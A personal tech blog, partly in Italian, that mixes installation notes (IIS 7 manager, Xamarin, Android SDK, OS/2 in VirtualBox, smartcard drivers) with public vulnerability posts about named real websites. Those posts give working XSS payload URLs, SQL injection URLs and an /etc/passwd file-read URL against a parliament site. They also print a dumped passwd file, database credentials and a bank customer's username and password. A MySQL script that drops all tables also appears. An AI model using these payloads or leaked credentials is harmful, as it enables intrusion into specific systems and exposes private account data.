I've faced a simple problem regarding an incorrect svg mime type. The hosting company for a specific website have told me to modify it by myself via iis 7 manager (weird in my opinion). Trovandomi di fronte al problema di dover modificare il mime type per svg. L'assistenza dell'azienda di hosting, Aruba (in questo caso), mi ha risposto di fare le modifiche autonomamente tramite ii7 manager. La cosa mi è sembrata strana perché sarebbe stato utile ed immediato fare le modifiche dal pannello di controllo e non tutti gli utenti hanno sistema operativo Microsoft, i requisiti necessari (a volte mancano pacchetti vari da installare a parte come XML) e le idee non chiarissime su come procedere. ____________________________________________________________

Start->Pannello di controlo

installare IIS 7 manager


Programmi e funzionalità
installare IIS 7 manager


Attivazione o disattivazione delle funzionalità Windows
installare IIS 7 manager


Selezionare "console di gestione IIS" (sotto "Internet Information Services").
Premere "OK" e (pregare) attendere la fine dell'installazione.
installare IIS 7 manager


Scaricare Download IIS 7 manager
Installare iis 7 manager eseguendo il file (inetmgr_amd64.msi 64bit o inetmgr_i386.msi 32bit).
Cliccare sempre su avanti (non è difficile)
Per avviare IIS 7 Manager. (start -> inetmgr +invio) Andare in Start -> Pannello di controllo -> strumenti di amministrazione
installare IIS 7 manager


Avviare Gestione Internet Services
installare IIS 7 manager


Cliccare su "Connetti a un sito.."
installare IIS 7 manager


Inserire nome server e nome sito.
installare IIS 7 manager


Inserire Nome utente e password. Cliccare su avanti.

Appariranno diverse richieste di installazione. Selezionate sempre tutto e cliccate su ok/avanti. A volte può capitare che l'installazione non vada a buon fine. In caso di problemi (sigh) verificare quali siano le *dipendenze* mancanti e per cui non è possibile proseguire ed installarle a parte.
installare IIS 7 manager

Monday, 24 March 2014

Useful tools for mssql


DbaMgr

DbaMgr2k
http://www.asql.biz/en/Download.aspx#DbaMgr

osql batch database extractor
http://www.rs-freeware.org/osql/#install

Java client
http://squirrel-sql.sourceforge.net/


database.net is really good for several different databases. A very nice tool.
http://fishcodelib.com/database.htm

It looks interesting but it doesn't connect (maybe i'm writing the wrong connection data)
http://sqlserverdump.codeplex.com/

good for automatic backup (.bak) to local/shared folder, ftp.
http://sqlbackupandftp.com/


several interesting tools.
http://www.red-gate.com/labs/free-tools/

simple html javascript redirect

 Simple javascript and html meta tag to redirect.

Sample:
<html>
<head>
<script type="text/javascript">
function Redirect() { location.href = "static/"; }
window.setTimeout("Redirect()", 1000);
</script>
<meta http-equiv="refresh" content="1; url=static/">
</head>
<body>
<div id="redirectlink" ><a href="static/">redirect page</a></div>

</body>
</html>

Published as personal reminder.

Xamarin studio silent automated installation and download

Xamarin studio offline installation

simplet batch script to (download) and install, also offline, xamarin studio with mono android, xamarin ios, gtk sharp, android sdk tools, android ndk (I'm not sure if it's the right installation method but I've read it in the installation logs of xamarin).

If you need to just install remove the part related to "wget" in the install batch script.

download Xamarin studio silent installation


I needed to automate such process. sometimes msiexec hangs but I don't have the time to verify why (at the moment) ... just kill it from the task manager. Comment for errors, suggestions.

Sunday, 23 March 2014

Android SDK Setup automated Installer

Android SDK Setup automated Silent Installer.
Android sdk silent installation.

If you need to install without clicking i've added a very simple setup executable that should work with all the installers of the Android SDK Tools






Download any sdk tool
For Example I've download "installer_r22-windows.exe"
Rename it as "androidsdk.exe"

Run setup.exe from the same folder. The setup runs androidsdk.exe and go ahead without your interaction.
At the end of the setup it opens automatically the tools.

I've simply used  an autoit script. Nothing really particular but I needed to automate various installations.

Download automate android sdk tools installation


It's just for personal use but comments are welcome.

Friday, 14 March 2014

asansambox asangsm Drivers and usage as MXbox that allows (?) Nokia flashing too

I've buyed the Asansambox but due to the big waste of time searching for the right driver I've been unable to install it for more than a week (frustration).
The company told me to use their drivers (there are several links and drivers for the SAME box).

In my case I've to install "smart key" (question mark in the devices manager).
The hardware id hwid (in my case) is SCFILTER\CID_80318065b0831148c883009000

After a search on google I've found a similar product that is the HTI mxkey card (another box?)


I've (simply) set in the inf the hwid as CardName "JCOP41V221". There's no specifi driver needed (in general).

Here you can download the Asansam box drivers

I  don't really know which device is "JCOP41V221" but it looks like the latest (?) version of the mx key ... sort of  ....

I just have problems with already buyed and, for the moment, a -paperweight- named Asansam.

The asansambox is capable to request data from *dead* MTK (chinese) phones.
Set in "general services"->NVM (Standard)
I've tested with an ACER E350 gallant duo (MTK6577?).
There results are garbage but with a decent support from the software or with custom sw maybe the box can do something more.
SP MTK flasher (used to flash mtk phones), with specific scatter file, can be set to communicate (disable as usb in the settings) but it's unable to do the basic tests (nvram).
I've been able to send some garbage and the phone entered in a stable (modem?) mode  (when there's no battery, phone vibrates and the computer detects it a new device) while in the previous situation he continued to connect/disconnect as device.

I don't have an MXbox/MXkey/MXwhatever.I don't know how to use MobileEx and where to get a MXKey account.

I can only SUPPOSE and not be sure about the results.

Suggestions and comments are welcome.

http://www.adl.it | XSS

http://www.adl.it/?lang=it&section=configuratore_batterie&model=%3Cscript%3Ealert%281%29;%3C/script%3E&highlight=Ricerca

Friday, 7 March 2014

http://www.parliament.go.ug | remote file read/download - System compromise

__________________________________________________________________
oracle, mysql, hacluster, open-xchange

TNS for Linux: Version 11.1.0.6.0 - Production-Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - 64bit Production

There are too many and mixed up scripting languages and messed up *solutions*.



Read quite any file
http://www.parliament.go.ug/mpdata/mps.hei?$debug=pp&$file=/etc/passwd

SEVERAL possible sql injections (there are too many of them ...)
http://www.parliament.go.ug/mpdata/members.hei?committeeno=2%277&name=Committee+on+Rules%2c+Discipline+and+Privileges
http://www.parliament.go.ug/mpdata/mps.hei?p=f&n=t&details=t&j=632.000000&const=Woman+Representative&dist_id=65.000000&distname=Kanungu
http://www.parliament.go.ug/hansard/hans_text.jsp?srch_txt=hansards&exact=ALL&B1=Submit
http://www.parliament.go.ug/enewsletter/index.php/login


the errors are so kind to give those informations:
host: `localhost'
user: `mpdata'
database name: `tenG'
Statement: SELECT INITCAP(districtname) as distname FROM tbldistrict WHERE districtno=65.000000'


SELECT * FROM tbluser WHERE username 


SELECT mp.mpno as m_id, INITCAP(D.districtname) districtname,d.districtno, INITCAP(C.constituencyname) constituencyname,P.partyname,tblMPmembership.Membershipname, MPC.membershipno, MP.titleid as title, INITCAP(MP.surname) as fname, INITCAP(MP.othernames) as onames , MP.contact_email as email FROM tblmpcommittee MPC, tblmp M ,tblmpname MP, tblMPmembership,tblconstituency C,tblparty P,tblDistrict D WHERE MPC.committeeno=27 AND MPC.MPID=M.MPID AND M.MPNO=MP.MPNO and tblMPmembership.membershipno=MPC.membershipno and M.constituencyno=C.constituencyno and M.partyno=P.partyno and D.districtno=C.districtno and MPC.comstatus=1 and M.mpstatusno=1 ORDER BY membershipno ASC, fname ASC


db name: TENG.PARLIAMENT.GO.UG


-internal server??
http://jwabwire.parliament.go.ug:7778/pls/mp/display_image?mp_id=1

http://www.parliament.go.ug/mpdata/mps.hei?$debug=pp&$file=%2fusr%2flocal%2fhttpd%2fhtdocs%2fmpdata%2fmps.hei&$line=131&$column=41#here
http://localhost:8080/pass.asp?mpid=

http://www.parliament.go.ug/mpdata/pass.asp

C:\ICT Invetory\xx.mdb
Data source = UG;User ID=mpdata;password=mpdata




-Paths

/usr/local/httpd/htdocs/mpdata/lib
/usr/local/httpd/htdocs/layout
/usr/local/httpd/htdocs/heitml2.0/lib
/home/bbaale/public_html/advocates





This page is related to the billings for the nation. I don't know what are the consequences for the ugandese goverment if someone manages such data. Anybody can mix it up for personal interests or for (bad) political motivations.
http://www.parliament.go.ug/billtrack/



Some NON confidential data extracted from tbldistrict
Buikwe District
Bukomansimbi District
Butambala District
Buvuma District
Gomba District
Kalungu District
Kyankwanzi District
Lwengo District
Amudat District
Bulambuli District
Buyende District
Kibuku District
Kween District
Luuka District
Namayingo District
Ngora District
Serere District
Napak District
Buhweju District
Kiryadongo District
Mitooma District
Ntoroko District
Sheema District
Kyegegwa District
Rubirizi District
Agago District
Alebtong District
Kole District
Lamwo District
Nwoya District
Otuke District
Zombo District
Abim District
Amuru District
Budaka District
Buliisa District
Maracha District
Namutumba District
Oyam District
Bukedea District
Dokolo District
Lyantonde District
Bududa District
Kalangala District
Kampala District
Kiboga District
Luwero District
Masaka District
Mpigi District
Mubende District
Mukono District
Nakasongola District
Rakai District
Ssembabule District
Kayunga District
Wakiso District
Nakaseke District
Mityana District
Bugiri District
Busia District
Iganga District
Jinja District
Kamuli District
Kapchorwa District
Katakwi District
Kumi District
Mbale District
Pallisa District
Soroti District
Tororo District
Kaberamaido District
Mayuge District
Sironko District
Butaleja District
Kaliro District
Amuria District
Manafwa District
Bukwo District
Adjumani District
Apac District
Arua District
Gulu District
Kitgum District
Kotido District
Lira District
Moroto District
Moyo District
Nebbi District
Nakapiripirit District
Pader District
Yumbe District
Kaabong District
Koboko District
Amolatar District
Bundibugyo District
Bushenyi District
Hoima District
Kabale District
Kabarole District
Kasese District
Kibaale District
Kisoro District
Masindi District
Mbarara District
Ntungamo District
Rukungiri District
Kamwenge District
Kanungu District
Kyenjojo District
Ibanda District
Isingiro District
Kiruhura District
Ex-Officio District
Youth District
Pwd District
Updf District
Workers District


-TABLES-
QUEST_COM_PRODUCTS
QUEST_COM_PRODUCTS_USED_BY
QUEST_COM_PRODUCT_PRIVS
QUEST_COM_USERS
QUEST_COM_USER_PRIVILEGES
TOAD_DATA_FILES
TOAD_FILESTAT
TOAD_FREE_SPACE
TOAD_REF
TOAD_TABLESPACES
TBLCOMMITTEE
TBLCOMMITTEETYPE
TBLCONSTITUENCY
TBLCONSTITUENCYPROFILE
TBLDISTRICT
TBLHANSARD
TBLITEM
TBLMARITALSTATUS_OLD
TBLMP
TBLMPCOMMITTEE
TBLMPMEMBERSHIP
TBLMPNAME_ORIGINAL
TBLMPSTATUS
TBLORDER
TBLORDERPAPER
TBLPARLIAMENT
TBLPARTY
TBLSEX
TBLSUBCOUNTY
TBLSUBITEM
TBLTELECOMM
TBLTELEDEPT
TBLTELENAME
TBLTELENAMES
TBLTELESTAFF
TBLUSER
TESTER
TESTER2
PGA_FORMS
PGA_LAYOUT
PGA_QUERIES
PGA_REPORTS
PGA_SCHEMA
PGA_SCRIPTS
RADDETAIL
TRANSFER_DETAILS
DISTRICT
EAS_VERSION
SR_SUB_TYPE
SUB_TAB_VIEWS
SR_SUB_TAB
COMPUTER
COMPUTER_ATTRIBUTES
VERSION
ACCOUNT
SCHEDULE_TASK
COMPUTER_CHANGES
COMPUTER_GROUP
COMPUTER_LISTS
COMPUTER_LOG
COMPUTER_USERS
EVENT
LOGIN_LOG
MESSAGES
PROBLEM_TYPE
SR_SUB_TAB_HISTORY
SERVICE_REQ
SERVICE_REQ_HISTORY
SYSAID_USER
SYSAID_USER_HISTORY
AUDIT_LOG
CI_FILES
CI_LINKS
CI_TEMPLATE_LINKS
QUICK_LIST
ASSET_CATALOG_FILES
SUPPLIER_FILES
SYSAID_USER_FILES
COMPANY_FILES
SERVICE_REQ_LINKS
SR_TAB_DEPENDENCES
COMPUTER_HISTORY
COMPUTER_ATTRIBUTES_HISTORY
COMPUTER_FILES
SOFTWARE_FILES
COMPUTER_LINKS
SYSAID_USER_ROUTING
CI_ATTRIBUTES
PROCESSES_DAY_DATA
PROCESSES_WEEK_DATA
PROCESSES_MONTH_DATA
PROCESSES_YEAR_DATA
PERFORMANCE_DAY_DATA
PERFORMANCE_WEEK_DATA
PERFORMANCE_MONTH_DATA
PERFORMANCE_YEAR_DATA
COMP_UPDATE_DAY_DATA
COMP_UPDATE_WEEK_DATA
CI_HISTORY
LIST_VIEW
SERVICE_REQ_LOG
USER2ASSET
SERVICE_REQ_DATA
SOFTWARE
SOFTWARE2INSTALL_NAME
ASSET_CATALOG
SUPPLIER
FAQ
URL_MONTH_DATA
URL_YEAR_DATA
URL_EMBED_DATA
MONITOR_EVENTS
PREDEFINED_SERVICES_CHECK
PREDEFINED_NETWORK_CHECK
NEWS
SATISFACTION_SURVEY
COMP_UPDATE_MONTH_DATA
COMP_UPDATE_YEAR_DATA
NETWORK_DAY_DATA
NETWORK_WEEK_DATA
NETWORK_MONTH_DATA
NETWORK_YEAR_DATA
ASSET_DATA_DAY_DATA
ASSET_DATA_WEEK_DATA
ASSET_DATA_MONTH_DATA
ASSET_DATA_YEAR_DATA
NETWORK_ACTIVITY_DAY_DATA
NETWORK_ACTIVITY_WEEK_DATA
NETWORK_ACTIVITY_MONTH_DATA
NETWORK_ACTIVITY_YEAR_DATA
CUSTOMIZED_DAY_DATA
CUSTOMIZED_WEEK_DATA
CUSTOMIZED_MONTH_DATA
CUSTOMIZED_YEAR_DATA
URL_DAY_DATA
URL_WEEK_DATA
SERVICE_REQ_MSG
COMMANDS
USER_GROUPS
USER2GROUP
PROJECT
PROJECT_HISTORY
PROJECT_LOG
TASK_HISTORY
TASK_LOG
TASK_USERS
TASK_ACTIVITIES
TASK_FILES
ASSET_TYPES
COMPANY
CI_TYPE
CI_SUB_TYPE
CI_RELATION
CI_RELATION_TYPE
CI_TEMPLATE
MONITOR_TEMPLATES
MONITORING_CONF
MONITOR_EMBED_DATA
SERVICES_DAY_DATA
SERVICES_WEEK_DATA
SERVICES_MONTH_DATA
SERVICES_YEAR_DATA
TBLMPNAME
TBLMPCONST
TBLMPNAME2
SURVEY_QUESTIONS
SURVEY_ANSWERS
CURRENT_MEASUREMENT_LISTS
LAST_RUN_MEASUREMENT_LISTS
CURRENT_SLA_RESULTS
CUSTOM_TRIGGERS
SYSAID_EVENTS
TRAPS_DATA
FORM_HISTORY
USS_SECURITY_QUESTIONS
USS_NOTIF_EVENTS
ONLINE_USERS_HISTORY
USER_QUESTIONS
USER_ANSWER_ATTEMPTS
SYSAID_USER_PUSH_ENABLE
SYSAID_USER_PUSH_NOTIFICATIONS
ONLINE_ASSETS
ASSET_OFFLINE_LOG
USERS_REMOTE_ASSETS
REMOTE_ACTIVE_SESSIONS
SYSAID_USER_PERMISSIONS
PRIORITY_MATRIX_CUST_VALUES
CUSTOM_SERVICES
MDM_POLICY
MDM_WIFI_POLICY
MDM_ACTIONS
UI_MENUS
UI_MENUS2GROUP
QRTZ_JOB_DETAILS
QRTZ_JOB_LISTENERS
QRTZ_TRIGGERS
QRTZ_SIMPLE_TRIGGERS
QRTZ_CRON_TRIGGERS
QRTZ_BLOB_TRIGGERS
QRTZ_TRIGGER_LISTENERS
QRTZ_CALENDARS
QRTZ_PAUSED_TRIGGER_GRPS
QRTZ_FIRED_TRIGGERS
QRTZ_SCHEDULER_STATE
QRTZ_LOCKS
COMPANY_LINKS
ASSET_CATALOG_HISTORY
SOFTWARE_HISTORY
SUPPLIER_HISTORY
SR_SUB_TAB_FILES
SR_SUB_TAB_LINKS
LINKED_SERVICE_REQ
SYSAID_ITEM_LINKS
PROJECT_LINKS
TASK_LINKS
ASSET_CATALOG_LINKS
SOFTWARE_LINKS
SUPPLIER_LINKS
SYSAID_USER_LINKS
WORK_REPORT
CUST_VALUES
SORT_CUST_VALUES
SR_SUB_TAB_POPULATE
ASSET_NOTIF_EVENTS
MEASUREMENTS_LISTS
MEASUREMENTS_LISTS_HISTORY
MEASUREMENTS_DEF
MEASUREMENTS_DEF_HISTORY
AGREEMENT
CUSTOM_COLUMNS
ONLINE_USERS
TBLMPNAME_ORIG_MODIFIED
FAQ_TAGS
SERVICE_REQ_FILES
TBLWORK
TBLTITLE
TBLRELIGION
TBLRELATION
TBLPROF_MEMBERSHIP
TBLPENSION
TBLOTHERINFO
TBLMPSNAME
TBLINSTITUTION
TBLEXTRACURRICULAR
TBLEDUCATIONLEVEL
TBLEDUCATION
TBLCONFERENCE
COMPANY_HISTORY
DISCOVERY_SERVICE
CUSTOMIZED_SNMP_OIDS
ASSET2CI
STATUS_SETTINGS
USER2CI
AUDIT_LOG_LINES
FAQ_FILES
REMINDERS
AUTOMATIC_TEXTS
USER_FAVORITES
CHAT_ACTIVE_SESSIONS
CHAT_CLOSED_SESSIONS
CHAT_QUEUE
CHAT_QUEUE_MESSAGES
SHARE_AND_COMPARE
STATISTICS_DATA
GENERIC_MESSAGES
MPTELEPHONE
PROJECT_USERS
PROJECT_FILES
TASK
TBLMARITALSTATUS


sample passwd
at:x:25:25:Batch jobs daemon:/var/spool/atjobs:/bin/bash
bin:x:1:1:bin:/bin:/bin/bash
cyrus:x:96:12:User for cyrus-imapd:/usr/lib/cyrus:/bin/bash
daemon:x:2:2:Daemon:/sbin:/bin/bash
dhcpd:x:103:65534:DHCP server daemon:/var/lib/dhcp:/bin/false
ftp:x:40:49:FTP account:/srv/ftp:/bin/bash
games:x:12:100:Games account:/var/games:/bin/bash
gdm:x:50:113:Gnome Display Manager daemon:/var/lib/gdm:/bin/false
geronimo:x:108:112:Geronimo:/usr/share/websphere-as_ce-1.1:/bin/sh
hacluster:x:90:90:heartbeat processes:/var/lib/heartbeat/cores/hacluster:/bin/false
haldaemon:x:101:102:User for haldaemon:/var/run/hal:/bin/false
ldap:x:76:70:User for OpenLDAP:/var/lib/ldap:/bin/bash
lp:x:4:7:Printing daemon:/var/spool/lpd:/bin/bash
mail:x:8:12:Mailer daemon:/var/spool/clientmqueue:/bin/false
mailman:x:72:67:GNU mailing list manager:/var/lib/mailman:/bin/bash
man:x:13:62:Manual pages viewer:/var/cache/man:/bin/bash
mdom:x:28:28:Mailing list agent:/usr/lib/majordomo:/bin/bash
messagebus:x:100:101:User for D-BUS:/var/run/dbus:/bin/false
mysql:x:60:107:MySQL database admin:/var/lib/mysql:/bin/bash
nagios:x:107:111:User for Nagios:/var/lib/nagios:/bin/false
named:x:44:44:Name server daemon:/var/lib/named:/bin/bash
news:x:9:13:News system:/etc/news:/bin/bash
nobody:x:65534:65533:nobody:/var/lib/nobody:/bin/bash
ntp:x:74:103:NTP daemon:/var/lib/ntp:/bin/false
open-xchange:x:111:115:open-xchange system user:/opt/open-xchange:/bin/false
oracle:x:105:108:Oracle user:/opt/oracle:/bin/bash
pop:x:67:100:POP admin:/var/lib/pop:/bin/false
postfix:x:51:51:Postfix Daemon:/var/spool/postfix:/bin/false
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
quagga:x:104:106:Quagga routing daemon:/var/run/quagga:/bin/false
radiusd:x:109:114:Radius daemon:/var/lib/radiusd:/bin/false
root:x:0:0:root:/root:/bin/bash
snort:x:73:68:Snort network monitor:/var/lib/snort:/bin/bash
squid:x:31:65534:WWW-proxy squid:/var/cache/squid:/bin/csh
sshd:x:71:65:SSH daemon:/var/lib/sshd:/bin/false
suse-ncc:x:102:104:Novell Customer Center User:/var/lib/YaST2/suse-ncc-fakehome:/bin/bash
tomcat:x:106:110:Tomcat:/usr/share/tomcat5:/bin/sh
upsd:x:112:2:UPS daemon:/sbin:/bin/false
uucp:x:10:14:Unix-to-Unix CoPy system:/etc/uucp:/bin/bash
vscan:x:65:105:Vscan account:/var/spool/amavis:/bin/bash
websense_db_user:x:110:100::/OracleContentServer/Websense/bin:/sbin/nologin
wwwrun:x:30:8:WWW daemon apache:/var/lib/wwwrun:/bin/false
bbaale:x:2196:100::/home/bbaale:/bin/bash
filter:x:500:500::/home/filter:/bin/false
itx:x:2195:100::/home/itx:/bin/bash
otrs:x:1749:8:OTRS System User:/opt/otrs:/bin/false
qtss:x:1690:100::/home/qtss:/bin/bash
spamd:x:1603:100::/home/spamd:/sbin/nologin
+::::::

Drop tables of a database from command line (windows or linux). MySQL.

Drop tables of a database from command line (windows or linux). MySQL.
How to drop tables from command line with a mysql database.





--setting a session (not global since we probably don't have enough privileges) with an higher length. Change the number/length as needed.
SET SESSION group_concat_max_len = 90000;

--setting a variable with the group concatenated list of the tables (ex.: table1,tables2;). Change the MYTABLENAMETOCHANGE with your own table
SET @mytables = (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = 'MYTABLENAMETOCHANGE');

--setting a variable so that we can have a full DROP (if table exists) statement
SET @drptables = (SELECT CONCAT('DROP TABLE IF EXISTS ', @mytables, ';'));

-- preparing "droppingtables" the sql statement from the @drptables variable
PREPARE droppingtables FROM @drptables;

-- executing the sql statement "droppingtables"
EXECUTE droppingtables;

-- releasing "droppingtables"
DEALLOCATE PREPARE droppingtables;



Sample Windows Batch file with command line including password.
Use -p instead of --password=yourpassword if you want to input it by hand.
Remember to add the error checkings or you will end up with the non execution of the queries

drop_tables.bat
________________________________________________________
________________________________________________________


@echo off
SET MYSQLPATH=C:\mysql\bin\
SET MYUSR=cart
SET MYPASS=cart
SET MYDB=cart
SET MYMAXLEN=90000

%MYSQLPATH%\mysql -u%MYUSR% --password=%MYPASS% -D %MYDB% -e "SET SESSION group_concat_max_len = %MYMAXLEN%;SET @mytables = (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = '%MYDB%');SET @drptables = (SELECT CONCAT('DROP TABLE IF EXISTS ', @mytables, ';'));PREPARE droppingtables FROM @drptables;EXECUTE droppingtables;DEALLOCATE PREPARE droppingtables;"
________________________________________________________
________________________________________________________



 Sample Bash script for unix
 drop_tables.sh
________________________________________________________
________________________________________________________
#!/bin/sh
SET MYUSR="cart"
SET MYPASS="cart"
SET MYDB="cart"
SET MYMAXLEN="90000"
MYSQLEXE="$(which mysql)"


#checking if mysql client exists
if [ -z "$MYSQL" ]; then
echo "Error: MYSQL not found"
exit 1
fi


$MYSQLEXE -u$MYUSR --password=$MYPASS -D $MYDB -e "SET SESSION group_concat_max_len = $MYMAXLEN;SET @mytables = (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = '$MYDB');SET @drptables = (SELECT CONCAT('DROP TABLE IF EXISTS ', @mytables, ';'));PREPARE droppingtables FROM @drptables;EXECUTE droppingtables;DEALLOCATE PREPARE droppingtables;"
________________________________________________________
________________________________________________________

Monday, 3 March 2014

Install OS/2 Warp with (or without) virtualbox

-- Install the oracle virtual box (ex. 4.2.0)
-- Create a new v.machine  with the settings for your os/2 warp version

ex.:
 Name(anything): os2warp
 Type: IBM OS/2
 Version (the version that you are installing - 4 in my case): OS/2 Warp 4

-- Add one Disk and one Floppy as storage(s) for the virtual machine. Add a CD/DVD drive if you want to install a bit faster (see below).


-- extract the os2warp.iso so that you can use the dsk images for the installation (located in \DISKIMGS\OS2\35\)

-- Load in the floppy device the disk0.dsk and swap when requested by the os2 setup.


-- when the setup asks for the floppy 1 (after 0) use the DISK1_CD.DSK as floppy and remember to put the CD or load the cd iso image in the, virtual or real, cd drive

-- Choose "easy installation" if you don't need particular things.

When you the "Fdisk" application appears it can show you that the first disk is corrupted. Just go ahead and press enter.
press tab and press -> (right) to choose your disk.
Avoid the 1024kb that is the floppy disk -- that should be type 83 and "startable".

Your destination disk should be also with free space if not previously formatted.
Once you are in the disk page you need to press tab to choose your partition.
Press "Enter" and if there's no partition choose "create partition" and "primary partition".


If you are going to use more than one os (ex. os2+dos) on the same disk create the first partition of 1mb where you are going to install the boot manager.
See those faqs for more informations:
http://www.mit.edu/activities/os2/faq/os2faq0403.html

-- Create the first primary partition of 500mb where os/2 warp will reside and (press Enter)

-- Set the partition as startable and as Installable (!!Important).

The first partition must be smaller than 512mb (I've personally used 256mb) due to *old* bios restrictions.
Fdisk will assign automatically the C: drive letter.
"Also, on many PCs, because of BIOS restrictions, your startable (primary) partition must be physically located entirely below the 1024th cylinder on your hard disk (or, roughly speaking, it must be no larger than about 511 MB)" (as already stated in the previously linked faqs).
Another good page is suggesting, with far more useful informations,

http://pclt.cis.yale.edu/pclt/BOOT/OS2.HTM

-- press f3 and exit

it could happen that the system doesn't recognize your primary partition even if you've done everything correctly. Just exit anyway and let the system restart. It should recognize your partition and start the regular installation (from floppy3).

if something goes wrong while formatting (red screen) restart (ctrl+alt+canc), choose advanced installation and try to reformat.
In case of other problems try to repartition with gparted (gparted live iso linux http://gparted.org/download.php) in fat16.


-- (If you want) Add a second "extended" partition that will fill all the remaining data and d: will be assigned automatically.

-- continue the setup



-- hit "enter" at the end of the installation process and restart













_____________________________________________


Errors:
OS/2!! SYS02025

OS/2!! SYS02027

Those errors are common if you are trying to use a non IBM machine, if the boot sector is corrupted (as I can read from the various docs), if there are HDD issues or if you are running non fully startable floppies.

http://service5.boulder.ibm.com/pspsdocs.nsf/8d77653332b629ab862563cc005ee09a/dc6f1f67b91441a2852561ac0076dd72?OpenDocument
http://www-947.ibm.com/support/entry/portal/docdisplay?lndocid=MIGR-44388


To solve the problem in virtualbox just make sure to run the first floppy and switch floppy as needed from the current virtual machine without closing the v.m. window (check the devices in the toolbar/menu) and make sure that you have selected the correct OS/2 system when you have created the vm.

____________________________________________________________



please make questions and suggestions in the comments. This is not a *guide* but something like a personal reminder for myself.

Saturday, 1 March 2014

http://www.mit.gov.it | XSS

http://www.mit.gov.it/mit/site.php?o=vm&lm=%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E1&id_cat=45

Alice.it search/redirection service - errors (php?)

Under heavy load
http://auto.ricerca.alice.it

returns

Warning: fsockopen() [function.fsockopen]: unable to connect to 92.242.132.12:80 (Connection timed out) in /store1/www/autosearch-bare-fruit.alice.it/doc_root/index.html on line 46
DNS Error


Php

www.immobiliarediamante.com | xss

www.immobiliarediamante.com/ricerca-immobile.php?sezione="><script>alert(document.cookie);</script><"&tipo_imm=0&prezzo_min=0&x=77&y=6

www.banca121.it | data leak ---

Old informations taken from banca121.it.
The bank is now closed.

user|pass
carlucci75|160175car
.....

pdfor.it | XSS

XSS
http://www.pdfor.it/Almacube/simulation/login.asp?username=admin%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E


(post)
http://www.pdfor.it/Almacube/registrazione/getPassword.asp
<script>alert(1)</script>@none.com

Windows 7 - 64 bit - Carta Nazionale Servizi

Windows 7 - 64 bit - Carta Nazionale Servizi
Infocert


Installare il proprio lettore di smartcard (alcuni driver sono disponibili qui)

https://www.firma.infocert.it/installazione/lettore.php


Installare il certificato infocert (windows doppio click su file - sempre avanti)
https://www.firma.infocert.it/installazione/certificato.php
https://www.firma.infocert.it/pdf/InfoCert_Servizi_di_Certificazione.cer (link diretto)




Installare dike
https://www.firma.infocert.it/installazione/installazione_DiKeUtil.php
Per le carte serie 1401, 1402 e token USB serie 1501 DiKe fa uso del software CardOS API: per scaricarlo, vedere le istruzioni nella pagina di DiKe. (Rif. infocert)


Se non funziona dike per le carte che iniziano per: 1203, 1204, 1205, 7420,  6090
installare questa versione ipki (x64)
http://www.visura.org/downl/bit4id_ipki_1.2.15.0-k4-ccid-ext-x86-x64.zip


Per windows XP ed Aruba PEC utilizzare la versione 1.2.6.0


_____________________________________________

Firefox


Per Firefox seguire
Strumenti -> Opzioni -> Avanzate
Selezionare "Cifratura"
Cliccare su "Dispositivi di Sicurezza"
Cliccare su "Carica"
selezionare bit4ipki.dll presente nella cartella system32
ex.: C:\Windows\System32\bit4ipki.dll


______________________________________________________________

Riferimenti: https://www.firma.infocert.it/installazione/certificato3.php



______________________________________________________________


Problema "La rinegoziazione non è consentita su questo socket SSL"

andare nella configurazione di firefox ( about:config nella barre degli indirizzi )
aggiungere gli host dei siti voluti/necessari

es.:
security.ssl.renego_unrestricted_hosts   |  www.vetinfo.sanita.it

Riferimento soluzione trovata qui
http://forum.mozillaitalia.org/index.php?topic=50414.0

______________________________________________________________






http://www.matteorenzi.it/ | http://matteorenzi.sgpitalia.com | XSS, SQL INJ, etc

Personal website of the Italian  prime minister.



OLDER WEBSITE
XSS and SQL injections. Sys compromise (windows)

http://matteorenzi.sgpitalia.com/contenuto_beta.asp?parametri=%22%3E%3Cscript%3Ealert%28%27xss%27%29;%3C/script%3E%3C%22%A7%A7%A7%A7%A7%A7vedi_v%27id%27eo%A7%A7%A71%A7%A7%A70


http://matteorenzi.sgpitalia.com/contenuto_beta.asp?parametri=1%EF%BF%BD%EF%BF%BD%EF%BF%BD72195%EF%BF%BD%EF%BF%BD%EF%BF%BD72195/0012%EF%BF%BD%EF%BF%BD%EF%BF%BD0%EF%BF%BD%EF%BF%BD%EF%BF%BDvedi_evento%EF%BF%BD%EF%BF%BD%EF%BF%BD1%EF%BF%BD%EF%BF%BD%EF%BF%BD0%EF%BF%BD%EF%BF%BD%EF%BF%BDpulisci%EF%BF%BD%EF%BF%BD%EF%BF%BD

carrello_beta.asp?azione=%22%3E%3Cscript%3Ealert%28%27xss%27%29;%3C/script%3E%3C%22%A7%A7%A7%A7%A7%A7vedi_v%27id%27eo%A7%A7%A71%A7%A7%A70
finestra_stampa_beta.asp?numero_immagini=%22%3E%3Cscript%3Ealert%28%27xss%27%29;%3C/script%3E%3C%22%A7%A7%A7%A7%A7%A7vedi_v%27id%27eo%A7%A7%A71%A7%A7%A70
popup.asp 
 
 
http://matteorenzi.sgpitalia.com/contenuto_beta.asp?parametri=76678%A7%A7%A776678/0075%A7%A7%A7vedi_evento%A7%A7%A71%A7%A7%A70#ad-image-5
 
 
 
UPDATE!
On WORDPRESS
Authors enumarion is allowed (not a big issue).
Folder listing ex. /wp-content/plugins/ (not a big issue).
Sql  Injection (I will disclose/update this part in the future).
 

UPDATE 
They've fixed the critical issues.
 

http://www.elitecop.net | read file, download remote files, system compromise

The website is dead and I suppose that it can be published.


http://www.elitecop.net/?command=/BradfordMDC/Core/SelectLayout.aspx?ReturnUrl=%2Fbmdc%2Fdefault%3FNRMODE%3DPublished%26NRORIGINALURL%3D%252fbmdc%252f%26NRNODEGUID%3D%257bFF6D29D6-98D7-4C9B-9C8B-1B11573299DD%257d%26NRCACHEHINT%3DGuest



